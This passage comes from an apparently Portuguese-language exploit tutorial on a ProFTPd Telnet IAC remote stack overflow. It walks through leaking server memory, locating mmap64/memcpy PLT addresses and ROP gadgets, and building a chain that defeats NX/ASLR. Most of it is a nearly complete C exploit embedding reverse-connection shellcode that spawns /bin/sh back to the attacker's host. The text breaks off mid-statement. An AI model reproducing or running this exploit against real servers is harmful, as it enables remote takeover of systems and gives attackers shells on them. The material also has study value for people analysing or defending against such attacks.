dc 00 | ......E......E.. 00 00 00 c7 44 24 04 67 08 00 00 c7 04 24 90 4e | ....D$.g.....$.N 0c 08 e8 8c 63 00 00 89 5c 24 04 c7 04 24 04 00 | ....c...\$...$.. 00 00 e8 f4 e6 ff ff 85 c0 0f 88 54 03 00 00 c7 | ...........T.... 44 24 04 6e 08 00 00 c7 04 24 90 4e 0c 08 e8 e0 | D$.n.....$.N.... 5f 00 00 a1 5c e6 0d 08 c7 44 24 0c 00 00 00 00 | _...\....D$..... c7 44 24 08 86 4e 0c 08 c7 44 24 04 00 80 00 00 | .D$..N...D$..... 8b 40 40 89 04 24 e8 f8 98 00 00 85 c0 89 c3 0f | .@@..$.......... 84 a4 00 00 00 8d b6 00 00 00 00 8b 43 20 8b 70 | ............C .p 04 85 f6 74 0e bf fd 4e 0c 08 b9 07 00 00 00 f3 | ...t...N........ a6 75 56 8b 30 c7 44 24 04 7a 08 00 00 c7 04 24 | .uV.0.D$.z.....$ 90 4e 0c 08 e8 fa 62 00 00 89 74 24 04 c7 04 24 | .N....b...t$...$ 00 00 00 00 e8 62 e6 ff ff 85 c0 0f 88 02 02 00 | .....b.......... 00 c7 44 24 04 81 08 00 00 c7 04 24 90 4e 0c 08 | ..D$.......$.N.. e8 4e 5f 00 00 c7 44 24 04 eb 4e 0c 08 c7 04 24 | .N_...D$..N....$ 02 00 00 00 e8 da 54 01 00 8b 03 89 1c 24 c7 44 | ......T......$.D 24 10 00 00 00 00 c7 44 24 0c 86 4e 0c 08 c7 44 | $......D$..N...D 24 08 00 80 00 00 89 44 24 04 e8 44 96 00 00 85 | $......D$..D.... c0 89 c3 0f 85 62 ff ff ff a1 5c e6 0d 08 c7 44 | .....b....\....D 24 0c 00 00 00 00 c7 44 24 08 b1 4e 0c 08 c7 44 | $......D$..N...D 24 04 00 80 00 00 8b 40 40 89 04 24 e8 22 98 00 | $......@@..$.".. 00 85 c0 89 c3 0f 84 9e 00 00 00 8b 43 20 8b 70 | ............C .p 04 85 f6 74 0e bf fd 4e 0c 08 b9 07 00 00 00 f3 | ...t...N........ a6 75 56 8b 30 c7 44 24 04 92 08 00 00 c7 04 24 | .uV.0.D$.......$ 90 4e 0c 08 e8 2a 62 00 00 89 74 24 04 c7 04 24 | .N...*b...t$...$ 02 00 00 00 e8 92 e5 ff ff 85 c0 0f 88 aa 01 00 | ................ 00 c7 44 24 04 a9 08 00 00 c7 04 24 90 4e 0c 08 | ..D$.......$.N.. e8 7e 5e 00 00 c7 44 24 04 04 4f 0c 08 c7 04 24 | .~^...D$..O....$ 02 00 00 00 e8 0a 54 01 00 8b 03 89 1c 24 c7 44 | ......T......$.D 24 10 00 00 00 00 c7 44 24 0c b1 4e 0c 08 c7 44 | $......D$..N...D 24 08 00 80 00 00 89 44 24 04 e8 74 95 00 00 85 | $......D$..t.... c0 89 c3 0f 85 62 ff ff ff a1 5c e6 0d 08 c7 44 | .....b....\....D 24 0c 00 00 00 00 c7 44 24 08 db 4e 0c 08 c7 44 | $......D$..N...D 24 04 00 80 00 00 8b 40 40 89 04 24 e8 52 97 00 | $......@@..$.R.. 00 85 c0 89 c3 0f 84 9e 00 00 00 8b 43 20 8b 70 | ............C .p 04 85 f6 74 0e bf fd 4e 0c 08 b9 07 00 00 00 f3 | ...t...N........ a6 75 56 8b 30 c7 44 24 04 ba 08 00 00 c7 04 24 | .uV.0.D$.......$ 90 4e 0c 08 e8 5a 61 00 00 89 74 24 04 c7 04 24 | .N...Za...t$...$ 07 00 00 00 e8 c2 e4 ff ff 85 c0 0f 88 6a 01 00 | .............j.. 00 c7 44 24 04 ca 08 00 00 c7 04 24 90 4e 0c 08 | ..D$.......$.N.. e8 ae 5d 00 00 c7 44 24 04 ec 5d 0c 08 c7 04 24 | ..]...D$..]....$ 02 00 00 00 e8 3a 53 01 00 8b 03 89 1c 24 c7 44 | .....:S......$.D 24 10 00 00 00 00 c7 44 24 0c db 4e 0c 08 c7 44 | $......D$..N...D 24 08 00 80 00 00 89 44 24 04 e8 a4 94 00 00 85 | $......D$....... c0 89 c3 0f 85 62 ff ff ff 83 c4 3c 5b 5e 5f 5d | .....b.....<[^_] c3 66 90 c7 44 24 04 7c 08 00 00 c7 04 24 90 4e | .f..D$.|.....$.N 0c 08 e8 4c 5d 00 00 e8 3f e3 ff ff 8b 00 89 04 | ...L]...?....... 24 e8 f5 e3 ff ff c7 44 24 04 18 5d 0c 08 c7 04 | $......D$..].... 24 03 00 00 00 89 44 24 08 e8 95 53 01 00 83 c4 | $.....D$...S.... 3c 5b 5e 5f 5d c3 90 8d 74 26 00 e8 0b e3 ff ff | <[^_]...t&...... 8b 00 89 04 24 e8 c1 e3 ff ff c7 44 24 04 a4 5d | ....$......D$..] 0c 08 c7 04 24 03 00 00 00 89 44 24 08 e8 61 53 | ....$.....D$..aS 01 00 e9 0c fd ff ff 8d 74 26 00 c7 44 24 04 95 | ........t&..D$.. 08 00 00 c7 04 24 90 4e 0c 08 e8 d4 5c 00 00 e8 | .....$.N....\... c7 e2 ff ff 8b 00 89 04 24 e8 7d e3 ff ff c7 44 | ........$.}....D 24 04 3c 5d 0c 08 c7 04 24 03 00 00 00 89 44 24 | $.<]....$.....D$ 08 e8 1d 53 01 00 83 c4 3c 5b 5e 5f 5d c3 90 8d | ...S....<[^_]... 74 26 00 c7 44 24 04 69 08 00 00 c7 04 24 90 4e | t&..D$.i.....$.N 0c 08 e8 8c 5c 00 00 e8 7f e2 ff ff 8b 00 89 04 | ....\........... 24 e8 35 e3 ff ff c7 44 24 04 c8 5d 0c 08 c7 04 | $.5....D$..].... 24 03 00 00 00 89 44 24 08 e8 d5 52 01 00 83 c4 | $.....D$...R.... 3c 5b 5e 5f 5d c3 90 8d 74 26 00 c7 44 24 04 bd | <[^_]...t&..D$.. 08 00 00 c7 04 24 90 4e 0c 08 e8 44 5c 00 00 e8 | .....$.N...D\... 37 e2 ff ff 8b 00 89 04 24 e8 ed e2 ff ff c7 44 | 7.......$......D 24 04 60 5d 0c 08 c7 04 24 03 00 00 00 89 44 24 | $.`]....$.....D$ 08 e8 8d 52 01 00 83 c4 3c 5b 5e 5f 5d c3 90 8d | ...R....<[^_]... ... Mais bytes a frente... ... ... ------------------------------------------------------------------------------------------- Nosso código roda perfeitamente, explora a falha e conseguimos ler os binários do ProFTPd. Parece muito fácil não é mesmo? Mas ainda temos trabalho a fazer. O próximo passo é descobrir offsets de outras syscalls (atravéz desses bytes que conseguios ler) para podermos criar nossa cadeia ROP para injetarmos nosso shellcode. Como? Sabemos que efetuar syscalls atravéz da PLT é sucesso, devido aos endereços da PLT serem estáticos; sabemos, também, que o espaço de memória onde reside nosso buffer não é executável (devido a NX/PaX). Então temos que efetuar uma syscall para mapear um lugar na memória que seja permitido ler, escrever e executar; após isso devemos efetuar outra syscall para copiar nossas instruções para a região mapeada; depois é só desviar o fluxo de execução para lá. Então seria muito interessante utilizarmos a syscall mmap64 para mapear a memória que precisamos e utilizar a syscall memcpy para copiar nossas instruções. Vejamos os manuais dessas funções: ------------------------------------------------------------------------------------------- MMAP(2) Linux Programmer's Manual MMAP(2) NAME top mmap, munmap - map or unmap files or devices into memory SYNOPSIS top #include void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset); int munmap(void *addr, size_t length); See NOTES for information on feature test macro requirements. DESCRIPTION top mmap() creates a new mapping in the virtual address space of the calling process. The starting address for the new mapping is specified in addr. The length argument specifies the length of the mapping. If addr is NULL, then the kernel chooses the address at which to create the mapping; this is the most portable method of creating a new mapping. If addr is not NULL, then the kernel takes it as a hint about where to place the mapping; on Linux, the mapping will be created at a nearby page boundary. The address of the new mapping is returned as the result of the call. The contents of a file mapping (as opposed to an anonymous mapping; see MAP_ANONYMOUS below), are initialized using length bytes starting at offset offset in the file (or other object) referred to by the file descriptor fd. offset must be a multiple of the page size as returned by sysconf(_SC_PAGE_SIZE). The prot argument describes the desired memory protection of the mapping (and must not conflict with the open mode of the file). It is either PROT_NONE or the bitwise OR of one or more of the following flags: PROT_EXEC Pages may be executed. PROT_READ Pages may be read. PROT_WRITE Pages may be written. PROT_NONE Pages may not be accessed. The flags argument determines whether updates to the mapping are visible to other processes mapping the same region, and whether updates are carried through to the underlying file. This behavior is determined by including exactly one of the following values in flags: MAP_SHARED Share this mapping. Updates to the mapping are visible to other processes that map this file, and are carried through to the underlying file. The file may not actually be updated until msync(2) or munmap() is called. MAP_PRIVATE Create a private copy-on-write mapping. Updates to the mapping are not visible to other processes mapping the same file, and are not carried through to the underlying file. It is unspecified whether changes made to the file after the mmap() call are visible in the mapped region. Both of these flags are described in POSIX.1-2001. In addition, zero or more of the following values can be ORed in flags: MAP_32BIT (since Linux 2.4.20, 2.6) Put the mapping into the first 2 Gigabytes of the process address space. This flag is supported only on x86-64, for 64-bit programs. It was added to allow thread stacks to be allocated somewhere in the first 2GB of memory, so as to improve context-switch performance on some early 64-bit processors. Modern x86-64 processors no longer have this performance problem, so use of this flag is not required on those systems. The MAP_32BIT flag is ignored when MAP_FIXED is set. MAP_ANON Synonym for MAP_ANONYMOUS. Deprecated. MAP_ANONYMOUS The mapping is not backed by any file; its contents are initialized to zero. The fd and offset arguments are ignored; however, some implementations require fd to be -1 if MAP_ANONYMOUS (or MAP_ANON) is specified, and portable applications should ensure this. The use of MAP_ANONYMOUS in conjunction with MAP_SHARED is supported on Linux only since kernel 2.4. MAP_DENYWRITE This flag is ignored. (Long ago, it signaled that attempts to write to the underlying file should fail with ETXTBUSY. But this was a source of denial-of-service attacks.) MAP_EXECUTABLE This flag is ignored. MAP_FILE Compatibility flag. Ignored. MAP_FIXED Don't interpret addr as a hint: place the mapping at exactly that address. addr must be a multiple of the page size. If the memory region specified by addr and len overlaps pages of any existing mapping(s), then the overlapped part of the existing mapping(s) will be discarded. If the specified address cannot be used, mmap() will fail. Because requiring a fixed address for a mapping is less portable, the use of this option is discouraged. MAP_GROWSDOWN Used for stacks. Indicates to the kernel virtual memory system that the mapping should extend downward in memory. MAP_HUGETLB (since Linux 2.6.32) Allocate the mapping using "huge pages." See the Linux kernel source file Documentation/vm/hugetlbpage.txt for further information. MAP_LOCKED (since Linux 2.5.37) Lock the pages of the mapped region into memory in the manner of mlock(2). This flag is ignored in older kernels. MAP_NONBLOCK (since Linux 2.5.46) Only meaningful in conjunction with MAP_POPULATE. Don't perform read-ahead: create page tables entries only for pages that are already present in RAM. Since Linux 2.6.23, this flag causes MAP_POPULATE to do nothing. One day the combination of MAP_POPULATE and MAP_NONBLOCK may be reimplemented. MAP_NORESERVE Do not reserve swap space for this mapping. When swap space is reserved, one has the guarantee that it is possible to modify the mapping. When swap space is not reserved one might get SIGSEGV upon a write if no physical memory is available. See also the discussion of the file /proc/sys/vm/overcommit_memory in proc(5). In kernels before 2.6, this flag had effect only for private writable mappings. MAP_POPULATE (since Linux 2.5.46) Populate (prefault) page tables for a mapping. For a file mapping, this causes read-ahead on the file. Later accesses to the mapping will not be blocked by page faults. MAP_POPULATE is supported for private mappings only since Linux 2.6.23. MAP_STACK (since Linux 2.6.27) Allocate the mapping at an address suitable for a process or thread stack. This flag is currently a no-op, but is used in the glibc threading implementation so that if some architectures require special treatment for stack allocations, support can later be transparently implemented for glibc. MAP_UNINITIALIZED (since Linux 2.6.33) Don't clear anonymous pages. This flag is intended to improve performance on embedded devices. This flag is honored only if the kernel was configured with the CONFIG_MMAP_ALLOW_UNINITIALIZED option. Because of the security implications, that option is normally enabled only on embedded devices (i.e., devices where one has complete control of the contents of user memory). Of the above flags, only MAP_FIXED is specified in POSIX.1-2001. However, most systems also support MAP_ANONYMOUS (or its synonym MAP_ANON). Some systems document the additional flags MAP_AUTOGROW, MAP_AUTORESRV, MAP_COPY, and MAP_LOCAL. Memory mapped by mmap() is preserved across fork(2), with the same attributes. A file is mapped in multiples of the page size. For a file that is not a multiple of the page size, the remaining memory is zeroed when mapped, and writes to that region are not written out to the file. The effect of changing the size of the underlying file of a mapping on the pages that correspond to added or removed regions of the file is unspecified. ... ... -------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------- MEMCPY(3) Linux Programmer's Manual MEMCPY(3) NAME memcpy - copy memory area SYNOPSIS #include void *memcpy(void *dest, const void *src, size_t n); DESCRIPTION The memcpy() function copies n bytes from memory area src to memory area dest. The memory areas must not overlap. Use memmove(3) if the memory areas do overlap. RETURN VALUE The memcpy() function returns a pointer to dest. CONFORMING TO SVr4, 4.3BSD, C89, C99, POSIX.1-2001. SEE ALSO bcopy(3), memccpy(3), memmove(3), mempcpy(3), strcpy(3), strncpy(3), wmem‐ cpy(3) COLOPHON This page is part of release 3.44 of the Linux man-pages project. A description of the project, and information about reporting bugs, can be found at http://www.kernel.org/doc/man-pages/. 2010-11-15 MEMCPY(3) -------------------------------------------------------------------------------------------- Simples, para chamar mmap64 você precisa de passar: o endereço do inicio do lugar a ser mapeado; o tamanho a ser mapeado; o protocolo (permissões do que se pode fazer); flags; file descriptor; e o offset. Então os argmentos para mmap podem ser o seguinte: Encadeamento de argumentos para mmap em um buffer: -> \x00\x00\x00\x10 ----> endereço de início -> \x00\x10\x00\x00 ----> tamanho 1000 bytes (em hexadecimal) -> \x07\x00\x00\x00 ----> 07 = protocolo que atribui permissão de ler, escrever e executar -> \x32\x00\x00\x00 ----> flag indicando ser 32 bits -> \xff\xff\xff\xff ----> file descriptor (0xffffffff provavelmente não estará em uso) -> \x00\x00\x00\x00 --| -> \x00\x00\x00\x00 | -> \x00\x00\x00\x00 |-> offset -> \x00\x00\x00\x00 | -> \x00\x00\x00\x00 | -> \x00\x00\x00\x00 --| Para chamar memcpy você precisa passar: o endereço de destino para onde copiar os bytes; o endereço de origem dos bytes a serem copiados; e o tamanho do número de bytes a serem copiados. Olhe como fica: Encadeamento de argumentos para memcpy em um buffer: -> \x00\x00\x00\x10 ----> endereço para onde vão os bytes -> xxxx ----> endereço de origem dos bytes (ainda determinaremos isso) -> \x02\x00\x00\x00 ----> número de bytes a serem copiados (pode mudar dependendo da ocasião) Para fazermos isso temos que executar uma rotina que irá pegar os bytes do shellcode no nosso buffer para a região executável para conseguirmos executar o código remoto. Essa rotina teremos que montar com os próprios binários do ProFTPd. Então o que temos que fazer é o seguinte: mapear a memória onde podemos executar código com mmap, identificar os bytes da nossa rotina de cópia nos proprios binários do Proftpd, copiar os bytes para a memória executável com memcpy, e desviar o fluxo de execução para lá. Então a rotina de cópia de bytes executará, e copiará nosso shellcode para o lugar certo e de lá executaremos ele. Preciamos dessa rotina de cópia de bytes, pois não podemos esquecer que nosso shellcode está indo no buffer em tempo de execução, então essa rotina é uma maneira de conseguirmos manipular esses bytes em tempo de execução. Não podemos esquecer que para fazer tudo isso estamos utilizando Return Oriented Programming, então precisaremos de identificar bytes referentes as instruções "pop pop pop ret" (para podermos levar nossos argumentos das funções para o outro segmento de memória) e "add esp, 20h; pop; pop" (tem o mesmo efeito de "pop pop ret" porém em larga escala). Já sabemos o que fazer, então mãos à obra! Da mesma maneira que conseguimos achar o endereço de write(2), podemos achar os endereços de mmap64 e memcpy: Na máquina a ser atacada: ------------------------------------------------------------------------- ... ... 0x08053698 mktime 0x08053698 mktime@plt 0x080536a8 readdir64 0x080536a8 readdir64@plt 0x080536b8 cap_free 0x080536b8 cap_free@plt 0x080536c8 memcpy 0x080536c8 memcpy@plt <----------- endereço de memcpy() 0x080536d8 strtoul 0x080536d8 strtoul@plt 0x080536e8 strlen 0x080536e8 strlen@plt 0x080536f8 setgrent 0x080536f8 setgrent@plt 0x08053708 futimes 0x08053708 futimes@plt ... 0x08053cc8 bind_textdomain_codeset 0x08053cc8 bind_textdomain_codeset@plt 0x08053cd8 setgid 0x08053cd8 setgid@plt 0x08053ce8 cap_set_flag 0x08053ce8 cap_set_flag@plt 0x08053cf8 snprintf 0x08053cf8 snprintf@plt 0x08053d08 kill 0x08053d08 kill@plt 0x08053d18 mmap64 0x08053d18 mmap64@plt <----------- endereço de mmap64() 0x08053d28 getpwent 0x08053d28 getpwent@plt 0x08053d38 cap_to_text 0x08053d38 cap_to_text@plt 0x08053d48 cap_get_proc 0x08053d48 cap_get_proc@plt 0x08053d58 gethostbyname2 0x08053d58 gethostbyname2@plt 0x08053d68 argz_create_sep 0x08053d68 argz_create_sep@plt 0x08053d78 getpeername ... ... ------------------------------------------------------------------------------------------------- Pronto sabemos que o endereço de memcpy() é 0x080536c8 e o endereço de mmap64 é 0x08053d18. Sabemos também que as instruções "pop pop pop ret" tem os opcodes "\x5e\x5f\x5d" e que "add esp, 20h; pop; pop" tem opcodes "\x83\xc4\x20\x5b\x5e\x5d\xc3" (Mais uma vez deixo a cargo do leitor descobrir de onde vem esses opcodes. Sugiro escrever uma rotina em assembly, compilar e ver os opcodes com objdump). Apresento a vocês a nossa rotina de cópia de bytes, escrita em assembly. Não vou entrar no mérito da rotina, para não estender esse paper, pois eu teria que explicar algumas coisas da arquitetura x86 e do sistema operacional utilizado (isso é mais uma coisa que o leitor deve estudar). rotina de cópia de bytes: #0100740B FC CLD #0100740C 8BF4 MOV ESI,ESP #0100740E BF 00010010 MOV EDI,10000100 #01007413 B9 00020000 MOV ECX,200 #01007418 F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[> # EB FF JMP +0xFF Então os bytes dessa rotina são: -> "\xfc\x8b" -> "\xf4" -> "\xbf" -> "\x00\x01\x00" -> "\x10" -> "\xb9\x00\x02\x00\x00" -> "\xf3" -> "\xa4" -> "\xeb\xff" Pronto, agora é só pesquisar no buffer de bytes lidos do ProFTPd (que nós já conseguimos) os offsets dos bytes da rotina e das instruções "pop pop pop ret" e "add esp, 20h; pop; pop". Escrevi uma função para comparar bytes de dois buffers, retornando o offset de onde começa a primeira ocorrência do buffer procurado, e podemos utilizar essa função para procurar os offsets dos opcodes e saber a posição dos bytes que queremos utilizar, olhem só: --------------------------------------------------------------------------------------------------- u_int indexOf(const unsigned char *data_buffer, const unsigned int length, const unsigned char *needle, const unsigned int needlelen){ u_int k; for(k=0; k < length - needlelen; k++){ if(memcmp(data_buffer+k, needle, needlelen) == 0){ return k; } } } --------------------------------------------------------------------------------------------------- Aqui segue um exemplo do uso dessa função para encontrarmos o offset dos bytes procurados e assim podermos deduzir o endereço onde estarão esses bytes na memória do servidor: exemplo: ------------------------------------------------------------------------------------------ char pop3ret[]="\x5e\x5f\x5d"; ... // Trying to find Pop Ret location u_int index = indexOf(read_buffer, sizeof(read_buffer), pop3ret, sizeof(pop3ret)-1); if(index >= 0){ p3r += (u_int) index; printf("\n\t [+] Pop3Ret is located at 0x%08x", p3r); } else { printf("\n\t [-] Fail! Could not find Pop3Ret!"); } --------------------------------------------------------------------------------------------------- Então temos os endereços das funções na PLT, temos os offsets dos bytes e dos gadgets das instruções que queremos. Temos tudo!!! Agora é só montar nosso buffer e explorar. Para fazermos isso devemos seguir a seguinte ordem: -> Endereço da função -> "pop pop pop ret" ou "add esp, 20h; pop; pop" -> argumentos da função Encadeando assim podemos construir nossa rotina de copia de shellcode em um espaço executável e assim injetarmos shellcode, burlando ASLR entre outras. Nota-se utiliarei a instrução "add esp, 20h; pop; pop" para copiar os argumentos de mmap64(), pois são muitos argumentos e usarei "pop pop pop ret" para memcpy(). Para finalizar o exemplo abaixo mostra como criar o buffer para o uso de memcpy(). Veja o trexo de código abaixo (os comentários explicam tudo!): ex.: ----------------------------------------------------------------------------------------- *((u_int *)(buffer+OFFSET+1+PADDING+52)) = MEMCPY; *((u_int *)(buffer+OFFSET+1+PADDING+56)) = p3r; memcpy(buffer+OFFSET+1+PADDING+60, "\x00\x00\x00\x10", 4); //endereço do primeiro byte *((u_int *)(buffer+OFFSET+1+PADDING+64)) = byte1_addr; memcpy(buffer+OFFSET+1+PADDING+68, "\x02\x00\x00\x00", 4); //numero de bytes a copiar *((u_int *)(buffer+OFFSET+1+PADDING+72)) = MEMCPY; *((u_int *)(buffer+OFFSET+1+PADDING+76)) = p3r; memcpy(buffer+OFFSET+1+PADDING+80, "\x02\x00\x00\x10", 4); //endereço do segundo byte = //endereḑo do primeiro + numero //de bytes do primeiro //"\x00\x00\x00\x10" + //"\x02\x00\x00\x00" *((u_int *)(buffer+OFFSET+1+PADDING+84)) = byte2_addr; memcpy(buffer+OFFSET+1+PADDING+88, "\x01\x00\x00\x00", 4); ---------------------------------------------------------------------------------------------- Como o primeiro argumento de memcpy() é o endereço que vamos copiar os bytes, então temos que ir incrementando a medida que vamos copiando os bytes. Para ir concatenando corretamente nossos bytes na posição certa. Então chegou a hora mais experada!!! Vejamos como que fica nosso exploit: exploit_proftpd.c ---------------------------------------------------------------------------- #include #include #include #include #include #include #include #define OFFSET 4101 #define PADDING 34 #define WRITE 0x080532d8 #define MMAP64 0x08053d18 #define MEMCPY 0x080536c8 // reverse connection shellcode -> 95 bytes // shellcode[31] to shellcode[34] is IP position // shellcode[37] and shellcode[38] is PORT position (port 4444 by default) char shellcode[]="\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x90\x90\x90\x6a\x66" "\x58\x6a\x01\x5b\x31\xc9\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80" "\x68\x7f\x7f\x7f\x7f\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a" "\x10\x51\x50\x89\xe1\x89\xc6\x6a\x03\x5b\x6a\x66\x58\xcd\x80" "\x87\xf3\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x31" "\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52" "\x53\x89\xe1\xcd\x80"; char write_fd[]="\x01\x00\x00\x00"; char write_len[]="\xff\xff\x0f\x00"; char pop3ret[]="\x5e\x5f\x5d"; char large_popret[]="\x83\xc4\x20\x5b\x5e\x5d\xc3"; char junk[]="\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41"; // shellcode copy routine: char byte1[]="\xfc\x8b"; // FC CLD char byte2[]="\xf4"; // 8BF4 MOV ESI,ESP char byte3[]="\xbf"; // BF 00010010 MOV EDI,10000100 char byte4[]="\x00\x01\x00"; char byte5[]="\x10"; char byte6[]="\xb9\x00\x02\x00\x00"; // B9 00020000 MOV ECX,200 char byte7[]="\xf3"; // F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[> char byte8[]="\xa4"; char byte9[]="\xeb\xff"; // EB FF JMP +0xFF char mmap64_args[]="\x00\x00\x00\x10" "\x00\x10\x00\x00" "\x07\x00\x00\x00" "\x32\x00\x00\x00" "\xff\xff\xff\xff" "\x00\x00\x00\x00" "\x00\x00\x00\x00" "\x00\x00\x00\x00" "\x00\x00\x00\x00" "\x00\x00\x00\x00" "\x00\x00\x00\x00"; // A function to display an error message and then exit void fatal(char *message) { char error_message[100]; strcpy(error_message, "[!!] Fatal Error "); strncat(error_message, message, 83); perror(error_message); exit(-1); } // dumps raw memory in hex byte and printable split format void dump(const unsigned char *data_buffer, const unsigned int length) { unsigned char byte; unsigned int i, j; for(i=0; i < length; i++) { byte = data_buffer[i]; printf("%02x ", data_buffer[i]); // display byte in hex if(((i%16)==15) || (i==length-1)) { for(j=0; j < 15-(i%16); j++) printf(" "); printf("| "); for(j=(i-(i%16)); j <= i; j++) { // display printable bytes from line byte = data_buffer[j]; if((byte > 31) && (byte < 127)) // outside printable char range printf("%c", byte); else printf("."); } printf("\n"); // end of the dump line (each line 16 bytes) } // end if } // end for printf("\n"); } u_int indexOf(const unsigned char *data_buffer, const unsigned int length, const unsigned char *needle, const unsigned int needlelen){ u_int k; for(k=0; k < length - needlelen; k++){ if(memcmp(data_buffer+k, needle, needlelen) == 0){ return k; } } } int main(int argc, char *argv[]) { int sockfd; struct hostent *host_info; struct hostent *my_host_info; struct sockaddr_in target_addr; unsigned char buffer[OFFSET+1+PADDING+336+sizeof(shellcode)+11]; unsigned char read_buffer[0xfffff]; u_int value = (u_int) WRITE - (u_int) 59; u_int p3r = value; u_int lpr = value; u_int addr = value; u_int byte1_addr = value; u_int byte2_addr = value; u_int byte3_addr = value; u_int byte4_addr = value; u_int byte5_addr = value; u_int byte6_addr = value; u_int byte7_addr = value; u_int byte8_addr = value; u_int byte9_addr = value; if(argc < 2) { printf("\n\t Proftpd Telnet IAC remote stack overflow exploit\n"); printf("\t Writen by: F0rb1dd3n\n"); printf("\n\t Usage: %s \n\n", argv[0]); exit(1); } if((my_host_info = gethostbyname(argv[2])) == NULL) fatal("looking up your hostname"); memcpy(shellcode+31, my_host_info->h_addr, my_host_info->h_length); if((host_info = gethostbyname(argv[1])) == NULL) fatal("looking up hostname"); target_addr.sin_family = AF_INET; target_addr.sin_port = htons(21); target_addr.sin_addr = *((struct in_addr *)host_info->h_addr); memset(&(target_addr.sin_zero), '\0', 8); // zero the rest of the struct printf("\n\t Proftpd Telnet IAC remote stack overflow exploit\n"); printf("\t Writen by: F0rb1dd3n\n"); printf("\n\t Target: %s\n", argv[1]); printf("\n\t Trying write(2) offset: 0x%08x", WRITE); bzero(buffer, OFFSET+1+PADDING+22); // zero out the buffer memcpy(buffer+OFFSET, "\xff", 1); // triggering the vulnerability memcpy(buffer+OFFSET+1, junk, strlen(junk)); // junk *((u_int *)(buffer+OFFSET+1+PADDING)) = WRITE; // write address memcpy(buffer+OFFSET+1+PADDING+4, "\xcc\xcc\xcc\xcc", 4); // crash dummy memcpy(buffer+OFFSET+1+PADDING+8, write_fd, strlen(write_fd)); // fd for write *((u_int *)(buffer+OFFSET+1+PADDING+12)) = WRITE; // buffer for write memcpy(buffer+OFFSET+1+PADDING+16, write_len, strlen(write_len)); // lenght for write memcpy(buffer+OFFSET+1+PADDING+20, "\x0a\x0d", 2); // end of buffer if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) fatal("in socket"); if (connect(sockfd, (struct sockaddr *)&target_addr, sizeof(struct sockaddr)) == -1) fatal("connecting to target server"); write(sockfd, buffer, OFFSET+1+PADDING+22); bzero(read_buffer, sizeof(read_buffer)); if(read(sockfd, read_buffer, 0xfffff) != 0) { printf("\n\t [+] Success on write(2)"); close(sockfd); printf("\n\t [+] mmap64() is located at 0x%08x", MMAP64); printf("\n\t [+] memcpy() is located at 0x%08x", MEMCPY); printf("\n\n\t Attempting to read memory of the server...\n"); // Trying to find Pop Ret location u_int index = indexOf(read_buffer, sizeof(read_buffer), pop3ret, sizeof(pop3ret)-1); if(index >= 0){ p3r += (u_int) index; printf("\n\t [+] Pop3Ret is located at 0x%08x", p3r); } else { printf("\n\t [-] Fail! Could not find Pop3Ret!"); } index = indexOf(read_buffer, sizeof(read_buffer), large_popret, sizeof(large_popret)-1); if(index >= 0){ lpr += (u_int) index; printf("\n\t [+] Large PopRet is located at 0x%08x", lpr); } else { printf("\n\t [-] Fail! Could not find Large PopRet!"); } // Trying to find special bytes location to shellcode copy routine index = indexOf(read_buffer, sizeof(read_buffer), byte1, sizeof(byte1)-1); if(index >= 0){ byte1_addr += (u_int) index; printf("\n\t [+] Byte1 is located at 0x%08x", byte1_addr); } else { printf("\n\t [-] Fail! Could not find Byte1!"); } index = indexOf(read_buffer, sizeof(read_buffer), byte2, sizeof(byte2)-1); if(index >= 0){ byte2_addr += (u_int) index; printf("\n\t [+] Byte2 is located at 0x%08x", byte2_addr); } else { printf("\n\t [-] Fail! Could not find Byte2!"); } index = indexOf(read_buffer, sizeof(read_buffer), byte3, sizeof(byte3)-1); if(index >= 0){ byte3_addr += (u_int) index; printf("\n\t [+] Byte3 is located at 0x%08x", byte3_addr); } else { printf("\n\t [-] Fail! Could not find Byte3!"); } index = indexOf(read_buffer, sizeof(read_buffer), byte4, sizeof(byte4)-1); if(index >= 0){ byte4_addr += (u_int) index; printf("\n\t [+] Byte4 is located at 0x%08x", byte4_addr); } else { printf("\n\t [-] Fail! Could not find Byte4!"); } index = indexOf(read_buffer, sizeof(read_buffer), byte5, sizeof(byte5)-1); if(index >= 0){ byte5_addr += (u_int) index; printf("\n\t [+] Byte5 is located at 0x%08x", byte5_addr); } else { printf("\n\t [-] Fail! Could not find Byte5!"); } index = indexOf(read_buffer, sizeof(read_buffer), byte6, sizeof(byte6)-1); if(index >= 0){ byte6_addr += (u_int) index; printf("\n\t [+] Byte6 is located at 0x%08x", byte6_addr); } else { printf("\n\t [-] Fail! Could not find Byte6!"); } index = indexOf(read_buffer, sizeof(read_buffer), byte7, sizeof(byte7)-1); if(index >= 0){ byte7_addr += (u_int) index; printf("\n\t [+] Byte7 is located at 0x%08x", byte7_addr); } else { printf("\n\t [-] Fail! Could not find Byte7!"); } index = indexOf(read_buffer, sizeof(read_buffer), byte8, sizeof(byte8)-1); if(index >= 0){ byte8_addr += (u_int) index; printf("\n\t [+] Byte8 is located at 0x%08x", byte8_addr); } else { printf("\n\t [-] Fail! Could not find Byte8!"); } index = indexOf(read_buffer, sizeof(read_buffer), byte9, sizeof(byte9)-1); if(index >= 0){ byte9_addr += (u_int) index; printf("\n\t [+] Byte9 is located at 0x%08x", byte9_addr); } else { printf("\n\t [-] Fail! Could not find Byte9!"); } } else { printf("\t [-] Fail! Wrong write(2) offset!\n"); close(sockfd); } printf("\n\n\t Building exploit buffer...\n"); bzero(buffer, sizeof(buffer)); memcpy(buffer+OFFSET, "\xff", 1); memcpy(buffer+OFFSET+1, junk, strlen(junk)); *((u_int *)(buffer+OFFSET+1+PADDING)) = MMAP64; *((u_int *)(buffer+OFFSET+1+PADDING+4)) = lpr; memcpy(buffer+OFFSET+1+PADDING+8, mmap64_args, sizeof(mmap64_args)); *((u_int *)(buffer+OFFSET+1+PADDING+52)) 